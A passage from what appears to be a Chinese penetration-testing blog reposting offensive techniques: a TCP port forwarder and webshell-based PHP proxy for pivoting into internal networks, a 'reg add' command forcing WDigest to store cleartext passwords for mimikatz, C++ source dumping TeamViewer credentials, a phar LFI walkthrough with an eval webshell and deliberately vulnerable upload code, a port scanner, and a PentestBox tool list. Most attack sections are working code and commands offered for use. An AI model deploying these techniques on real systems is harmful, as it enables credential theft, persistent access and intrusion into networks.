    def __init__(self, ip, port, remoteip, remoteport, backlog=5):
        self.remoteip = remoteip
        self.remoteport = remoteport
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((ip, port))
        self.sock.listen(backlog)

    def run(self):
        while True:
            client_fd, client_addr = self.sock.accept()
            target_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            target_fd.connect((self.remoteip, self.remoteport))

            threads = [
                PipeThread(client_fd, target_fd),
                PipeThread(target_fd, client_fd)
            ]

            for t in threads:
                t.setDaemon(True)
                t.start()

    def __del__(self):
        self.sock.close()


if __name__ == '__main__':
    parser = optparse.OptionParser()

    parser.add_option(
        '-l', '--local-ip', dest='local_ip',
        help='Local IP address to bind to')
    parser.add_option(
        '-p', '--local-port',
        type='int', dest='local_port',
        help='Local port to bind to')
    parser.add_option(
        '-r', '--remote-ip', dest='remote_ip',
        help='Local IP address to bind to')
    parser.add_option(
        '-P', '--remote-port',
        type='int', dest='remote_port',
        help='Remote port to bind to')
    parser.add_option(
        '-v', '--verbose',
        action='store_true', dest='verbose',
        help='verbose')
    opts, args = parser.parse_args()

    if len(sys.argv) == 1 or len(args) > 0:
        parser.print_help()
        exit()

    if not (opts.local_ip and opts.local_port and opts.remote_ip and opts.remote_port):
        parser.print_help()
        exit()

    if opts.verbose:
        log_level = logging.DEBUG
    else:
        log_level = logging.CRITICAL

    logging.basicConfig(level=log_level, format='%(name)-11s: %(message)s')
    forwarder = Forwarder(opts.local_ip, opts.local_port, opts.remote_ip, opts.remote_port)

    try:
        forwarder.run()
    except KeyboardInterrupt:
        print 'quit'
        exit()

使用方式如

python xxx.py -l 0.0.0.0 -p 3389 -r x.x.x.x -P 443

至于Perl脚本,网络中也有相关资料,大家可自行修改使用.

0x03 开放代理

如果对目标服务器已获得较高权限,可添加vpn或socks代理,ringzero@557.im写的
一个可用socks.py脚本可以更易的完成socks代理添加
使用方式如:

nohup python s5.py 1080 &

只有Webshell的情况下,又需要对内网某web服务进行访问测试,但没有充足的精力手工借助webshell进行请求,需要将这一过程自动化,xsjswt给出这样一种思路.

将如下脚本以shell权限丢至服务器

<?php
if(!isset($_GET['url'])){
  exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
  $url.='&';
}
else{
  $url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
  if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
  }
  $url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
  if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
  }
  $cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
  curl_setopt($ch, CURLOPT_POST, 1);
  $post_data='';
  foreach($_POST as $Key=>$Val){
    if(get_magic_quotes_gpc()){
      $Val=stripslashes($Val);
    }
    $post_data=$post_data.'&'.$Key.'='.urlencode($Val);
  }
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER['HTTP_REFERER'])){
  curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}
$Response=curl_exec($ch);
if(!$Response){
  curl_close($ch);
  exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split("\r\n",$Header);
foreach($Headers as $ThusHead){
  if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
     continue;
  }
  header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>

另搭建一nginx服务器,添加如下配置

server {
    listen          监听端口;
    location ~ () {
            proxy_pass              http://shell-ip/文件存放目录/proxy.php?url=http://$host/$request_uri;
            proxy_set_header        Host    "访问webshell所用域名";
    }
}

重新加载nginx配置,本地浏览器http代理设置为nginx服务器ip及监听端口,即可实现初步的代理请求.

0x04 小结

仅总结常见手法/工具/脚本并加以测试,如各位实战中有奇葩的环境/更有趣的思路/手法,望不吝赐教.

0x05 参考资料

[1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

[2] http://www.leavesongs.com/PYTHON/python-shell-backdoor.html

[3] http://www.waitalone.cn/linux-shell-rebound-under-way.html

[4] http://tool.p1ng.pw/getshell.html

[5] 互联网其他相关资料

Dumping WDigest Creds with Meterpreter Mimikatz/Kiwi in Windows 8.1

发布时间:June 11, 2015 // 分类:windows,转帖文章 // No Comments

Many of us in the penetration testing world have come to love Benjamin Delpy’s (blog.gentilkiwi.com) mimikatz/kiwi modules which were ported to Metasploit by OJ Reeves and incorporated into the meterpreter shell. Among other capabilities, one of the most impactful features of these modules was the ability to extract a Windows user’s clear text password from the WDigest provider.

When Microsoft released Windows 8.1, they added some security features that effectively removed the ability of tools like mimikatz or WCE to dump clear text credentials from LSA memory.

Microsoft then backported those fixes in a security update (http://support.microsoft.com/kb/2871997) for Windows systems prior to 8.1. However, because WDigest is used by many products (e.g. IIS), Microsoft left the Wdigest provider enabled which is why our mimikatz/kiwi module can still obtain clear text passwords prior to Windows 8.1

Windows 8.1 introduced a registry setting that allows for disabling the storage of the user’s logon credential in clear text for the WDigest provider.

(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)

Although the entry does not appear in the Windows 8.1 registry, the default setting for this DWORD value in 8.1 is “0” meaning that 8.1 does not store logon credentials in clear text in LSA memory for this SSP.

KB2871997 backported this registry setting to earlier Windows versions. When you install the hotfix, the registry setting will also not appear in earlier versions. These versions < 8.1 will default to “1” for the “UseLogonCredential” DWORD value.

So what happens on a Windows 8.1 system when we try to obtain the clear text password via a meterpreter shell using the mimikatz or kiwi modules?

The kiwi module is unable to obtain the clear text passwords from LSA memory.

But since we have administrative access, let’s change the registry setting by explicitly setting it to 1 in a Windows shell.

(reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1)

We refresh the regedit window to see the new value of “1” for UseLogonCredential.

Now, all we have to do is try to force, or wait for the user to either lock their screen or log off and then subsequently unlock their screen or log back in.

With the update to the registry, we should now be able to grab the clear text password from LSA memory.

Back in our meterpreter shell, we attempt the creds_wdigest again (might have to get a new meterpreter shell if the user logged off and back on).

References:

http://blog.gentilkiwi.com
http://blogs.technet.com/b/kfalde/archive/2014/11/01/kb2871997-and-wdigest-part-1.aspx

 

咱们来说人话。修改注册表 ,将 HKLM_LOCAL_MACHEINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest的"UseLogonCredential"(需要添加该 项目)设置为1,类型为DWORD 32  就可以了,然后等管理员在线或者还没注销的时候,就可以用mimi抓取明文了。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

获取运行中的TeamViewer的账号和密码

发布时间:June 10, 2015 // 分类:工作日志,运维工作,代码学习,VC/C/C++,转帖文章 // 1 Comment

Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )
 
int status = 0;
 
BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
       
        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        }
 
        if (strstr(BufferContent, "Allow Remote Control") != NULL)
        {
                status = 1;
                printf("TeamViewer ID: ");
        }
       
        if (strstr(BufferContent, "Please tell your partner") != NULL)
        {
                status = 1;
                printf("TeamViewer PASS: ");
        }
 
        return 1;
}
 
BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
       
        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        }
 
        if (strstr(BufferContent, "E-mail") != NULL)
        {
                status = 1;
                printf("E-mail: ");
        }
       
        if (strstr(BufferContent, "Password") != NULL)
        {
                status = 1;
                printf("Password: ");
        }
 
        return 1;
}
 
 
int main()
{
        HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");
 
        if (hwndTeamViewer)
        {
                EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
        }
       
       
        HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");
 
        if (hwndAccount)
        {
                EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
        }
 
       
        return 0;
}
C:\tools\Projects>TeamViewer_Dump.exe
TeamViewer ID: 606 151 261
TeamViewer PASS: 3239
E-mail: hacked@account.com
Password: FooPassword123

C:\tools\Projects>

php phar LFI

发布时间:June 9, 2015 // 分类:PHP,代码学习,转帖文章 // No Comments

0x01. 什么是phar

文件归档到一个文件包。
将一个模块的文件打包成一个phar,这样方便模块整体迁移,只需将phar文件移动过去,其他环境中include即可使用。
类似于java的 .jar 文件。
php 5.3时,为php的C语言扩展,安装php时会默认安装。

0x02. 创建phar文件

phar.readonly = Off 这个参数必须设置为Off,如果为On,表示phar文档不可写。

makephar.php

<?php

try{
    $p = new Phar("my.phar", 0, 'my.phar');
} catch (UnexpectedValueException $e) {
    die('Could not open my.phar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}

$p->startBuffering();
$p['file1.txt'] = 'file1'; 
$p['file2.txt'] = 'file2';
$p['file3.txt'] = 'file3';
$p['shell.php'] = '<?php phpinfo(); eval($_POST[x]); ?>';

// use my.phar
echo file_get_contents('phar://my.phar/file2.txt');  // echo file2

// make a file named my.phar
$p->setStub("<?php
    Phar::mapPhar('myphar.phar');  
__HALT_COMPILER();");

$p->stopBuffering();

?>

上面代码生成一个my.phar文件,代码输出file2字符串。

my.phar文件包含了file1.txt,file2.txt,file3.txt和shell.php这四个文件。当然了,这四个文件不是真实存在磁盘上。

注意:这几个文件不能直接通过http访问,但可以被include和file_get_contents等php函数利用。

0x03. 利用phar

在makephar.php文件的当前目录,新建一个callphar.php,利用phar特定的格式。

<?php
include 'phar://my.phar/shell.php';
?>

访问callphar.php即可调用shell.php

注意:phar文件不受文件名限制,即my.char可以任意的重命名为aaa.bbb

callphar.php

<?php
include 'phar://aaa.bbb/shell.php';
?>

1

0x04. LFI漏洞代码及利用

upload.php

<?php

if(isset($_POST['submit'])){
    $upload_name = $_FILES['file']['name'];
    $tempfile = $_FILES['file']['tmp_name'];
    $upload_ext = trim(get_extension($upload_name)); 

    $savefile = RandomString() . '.txt';
    if ($upload_ext == 'txt') {
            if(move_uploaded_file($tempfile,$savefile)) {
                die('Success upload. FileName: '.$savefile);
            }
            else {
                die('Upload failed..');
            }
    }
    else {
        die('You are not a txt file..');
    }

}
function get_extension($file){
    return strtolower(substr($file, strrpos($file, '.')+1));    
}

function RandomString()
{
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randstring = "";
    for ($i = 0; $i < 16; $i++) {
        $randstring .= $characters[rand(0, strlen($characters)-1)];
    }
    return $randstring;
}

// make a lfi vulnerability
$file = $_REQUEST['file'];
if ($file != '') {
    $inc = sprintf("%s.php", $file); // only php file can be included
    include($inc);
}
?>


<html>
    <body>
        <form method="post" action="#" enctype="multipart/form-data">
            <input type="file" name="file" value=""/>
            <input type="submit" name="submit" value="upload"/>
        </form>
    </body>
</html>

上面代码只能上传txt文件,并且可以include php后缀名的文件。

利用:
将makephar.php生成的my.char重命名为phar.txt,并且上传。

2

所以POC为:
http://localhost/pentest/web200/upload.php?file=phar://S9EvthZuJI1TC4u5.txt/shell

3

0x5 参考

http://blog.csdn.net/yonggang7/article/details/24142725
http://drops.wooyun.org/papers/4544

使用Python扫描端口情况

发布时间:June 8, 2015 // 分类:工作日志,代码学习,python // No Comments

# -*- coding:utf8 -*-
#!/usr/bin/python
 
import socket, time, thread
socket.setdefaulttimeout(3)
 
def socket_port(ip,port):
    """
    输入IP和端口号,扫描判断端口是否开放
    """
    try:
        if port>=65535:
            print u'端口扫描结束'
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result=s.connect_ex((ip,port))
        if result==0:
            lock.acquire()
            print  ip,u':',port,u'端口开放'
            lock.release()
        s.close()
    except:
        print u'端口扫描异常'
 
def ip_scan(ip):
    """
    输入IP,扫描IP的0-65534端口情况
    """
    try:
        print u'开始扫描 %s' % ip
        start_time=time.time()
        for i in range(0,65534):
            thread.start_new_thread(socket_port,(ip,int(i)))
        print u'扫描端口完成,总共用时 :%.2f' %(time.time()-start_time)
        raw_input("Press Enter to Exit")
    except:
        print u'扫描ip出错'
         
 
if __name__=='__main__':
    url=raw_input('Input the ip you want to scan:\n')
    lock=thread.allocate_lock()
    ip_scan(url)

PentestBox:一个基于Windows系统的渗透测试平台

发布时间:June 7, 2015 // 分类:工作日志,转帖文章,windows // No Comments

Welcome to PentestBox Tools List Website!
Here you will find list of the tools which are inside PentestBox and how to use them. 
You can see list of tools of particular category using the left sidebar.

Suppose you want to use SQLMap, you can find it's description below in Web Application Scanner Section and you will find something like given below

  cmd.exe

C:\Users\Aditya Agrawal\Desktop

$sqlmap

The console above with sqlmap in it tells that if you need to use SQLmap then sqlmap is the alias for it. If you are not aware with the tool and it's functions then type like sqlmap -h on console, it will display all possible functions of that tool , sqlmap in our case.

 

To keep everything in short, below are only aliases of the respective tool. 
I Hope you will Enjoy using PentestBox :)

Web Vulnerability Scanners

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: PortsWigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

  • Commix - Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. 
    Copyright (c) 2015 Anastasios Stasinopoulos (@ancst)
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $commix

  • fimap - fimap is a little python tool which can find, prepare, audit, exploit and even google automaticly for local and remote file inclusion bugs in webapps. fimap should be something like sqlmap just for LFI/RFI bugs instead of sql injection. It's currently under heavy development but it's usable. 
    Author: Iman Karim 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $fimap

  • Grabber - Grabber is a web application scanner. Basically it detects some kind of vulnerabilities in your website. Grabber is simple, not fast but portable and really adaptable. This software is designed to scan small websites such as personals, forums etc. absolutely not big application: it would take too long time and flood your network. 
    Author: Romain Gaucher 
    License: BSD
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $grabber

  • Golismero - GoLismero is an open source framework for security testing. It's currently geared towards web security, but it can easily be expanded to other kinds of scans.
    License: GPLv2 
    Author: Daniel García , Mario Vilas, Raúl Requero 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $golismero

      cmd.exe

    C:\PentestBox\bin\WebApplications\golismero (master)

    $golismero.bat scan pentestbox.com

  • IronWasp - Find security issues on your website automatically using IronWASP, one of the world's best web security scanners. Here are some reasons why IronWASP is great:
    • It's Free and Open source
    • GUI based and very easy to use, no security expertise required
    • Powerful and effective scanning engine
    • Supports recording Login sequence
    • Checks for over 25 different kinds of well known web vulnerabilities
    • False Negatives detection suppport
    • Industry leading built-in scripting engine that supports Python and Ruby

    Author: Lavakumar Kuppan
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $ironwasp

  • jSQL - jSQL Injection is a lightweight application used to find database information from a distant server. jSQL is free, open source and cross-platform (Windows, Linux, Mac OS X, Solaris). 
    Author: ron190 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $jSQL

  • Nikto - Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. 
    Author: Cirt.net 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $nikto

  • PadBuster - Automated script for performing Padding Oracle attacks. 
    Author: Brian Holyfield, Gotham Digital Science 
    License: Reciprocal Public License 1.5
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $padbuster

  • SqlMap - sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. 
    Author: Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $sqlmap

  • Vega - Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows. 
    Author: Subgraph 
    License: Eclipse Public License 1.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $vega

  • Wpscan - WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues. 
    Author: The WPScan Team 
    License: WPScan Public Source License
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $wpscan

  • OWASP Xenotix XSS Exploit FrameWork - OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. Xenotix provides Zero False Positive XSS Detection by performing the Scan within the browser engines where in real world, payloads get reflected. Xenotix Scanner Module is incorporated with 3 intelligent fuzzers to reduce the scan time and produce better results. If you really don't like the tool logic, then leverage the power of Xenotix API to make the tool work like you wanted it to be. It is claimed to have the world’s 2nd largest XSS Payloads of about 4800+ distinctive XSS Payloads. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes real world offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation. Say no to alert pop-ups in PoC. Pen testers can now create appealing Proof of Concepts within few clicks. 
    Author: Ajin Abraham 
    License: Creative Commons Attribution-ShareAlike 3.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $xenotix

  • Yasuo - Yasuo is a ruby script that scans for vulnerable 3rd-party web applications. While working on a network security assessment (internal, external, redteam gigs etc.), we often come across vulnerable 3rd-party web applications or web front-ends that allow us to compromise the remote server by exploiting publicly known vulnerabilities. Some of the common & favorite applications are Apache Tomcat administrative interface, JBoss jmx-console, Hudson Jenkins and so on. 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $yasuo

  • Zaproxy - The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. 
    Author: OWASP.org

    There is some integration issue with Zaproxy and PentestBox. So you have to start it manually by opening zap.bat file inPentestBox_Directory/bin/WebApplications/ZAP_2.4.0/.We will surely try to fix it sooner.

Web Applications Proxies

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: Portswigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

  • Zaproxy - The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. 
    Author: OWASP.org

    There is some integration issue with Zaproxy and PentestBox. So you have to start it manually by opening zap.bat file inPentestBox_Directory/bin/WebApplications/ZAP_2.4.0/.We will surely try to fix it sooner.

Web Crawlers

  • Dir Buster - DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers. 
    Author: OWASP.org 
    License: Apache 2.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $dirbuster

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: Portswigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

关于文字会重叠的问题。提供方式

 

分类
最新文章
最近回复
  • 没穿底裤: 直接在hosts里面.激活的时候访问不到正确的地址
  • Sfish: 屏蔽更新是在控制台设置一下就可以了,还是说要在其他层面做一下限制,比如配置一下hosts让他升...
  • 没穿底裤: 激活,或者屏蔽地址禁止升级
  • 没穿底裤: 呃..这个思路不错啊..
  • Sfish: 博主好,想问一下,wvs11的破解版,是不是每隔一段时间就要重新激活一次才可以?有没有什么解决...